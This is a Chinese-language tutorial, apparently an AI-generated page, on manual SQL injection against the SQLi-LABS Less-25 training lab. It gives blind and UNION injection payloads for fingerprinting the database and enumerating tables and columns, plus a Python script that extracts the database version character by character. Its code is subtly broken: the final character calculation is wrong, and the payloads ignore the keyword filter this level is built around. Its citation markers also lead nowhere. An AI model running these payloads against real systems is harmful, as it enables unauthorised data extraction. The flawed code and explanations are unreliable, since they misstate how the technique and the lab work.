使用手工注入方式测试SQLi-LABS 的Less25
时间: 2025-07-06 19:48:56 浏览: 1
### 手工SQL注入方法测试 SQLi-LABS Less-25
对于 SQL 注入攻击中的布尔盲注部分,在 SQLi-LABS 的 Less-25 中,目标是利用应用程序返回的不同页面内容来判断查询条件真假。此过程涉及向 URL 参数发送特制输入并观察响应差异。
#### 判断数据库类型和版本
为了确认所使用的数据库管理系统及其版本信息,可以尝试如下 Payload:
```sql
1' AND ASCII(SUBSTRING(@@version,1,1))>50 #
```
如果上述语句成功执行,则表明 MySQL 版本号的第一个字符大于 `50`(即ASCII码对应的数值),这有助于进一步了解环境特性[^1]。
#### 获取当前用户名
通过构造特定的 SQL 查询字符串,能够获取到运行 Web 应用程序进程的身份凭证:
```sql
1' AND ASCII(SUBSTRING(USER(),1,1))>97 #
```
这里同样采用比较操作符配合 ASCII 函数实现逐位猜测的效果,直到完全还原整个用户名为止[^2]。
#### 枚举表名与字段名称
一旦掌握了足够的背景资料之后,就可以着手于提取敏感数据了。比如想要知道某个具体模式下的所有表格列表以及它们各自拥有的列属性时,可运用以下技巧:
```sql
1' UNION SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE() LIMIT 0,1 --
```
当得知确切的目标表后,再继续挖掘其内部结构详情:
```sql
1' UNION SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='target_table' LIMIT 0,1 --
```
以上命令会依次显示出符合条件的第一条记录;若需遍历更多项只需调整 LIMIT 子句参数即可[^3]。
#### 实际应用案例展示
假设存在这样一个场景:有一个登录验证接口允许外部提交账户密码组合用于身份校验。此时可以通过精心设计的数据包绕过正常流程直接读取后台存储的信息。例如下面这段 Python 脚本实现了自动化探测功能:
```python
import requests
def get_db_version(url):
version = ''
for position in range(1, 20):
low, high = 32, 128
while low < high:
mid = (low + high) >> 1
payload = f"-1 OR ASCII(SUBSTR((SELECT @@VERSION),{position},1))>{mid}--+"
response = requests.get(f"{url}?id={payload}")
if "exists" in response.text.lower():
low = mid + 1
else:
high = mid
char_code = (low + high - 1) // 2
if char_code == 32: break
version += chr(char_code)
return version
if __name__ == '__main__':
target_url = 'http://example.com/vulnerable_page'
print(get_db_version(target_url))
```
该函数基于二分查找算法高效定位每一个未知字符的确切值,并最终拼接成完整的字符串形式输出给调用者查看[^4]。
阅读全文
相关推荐
















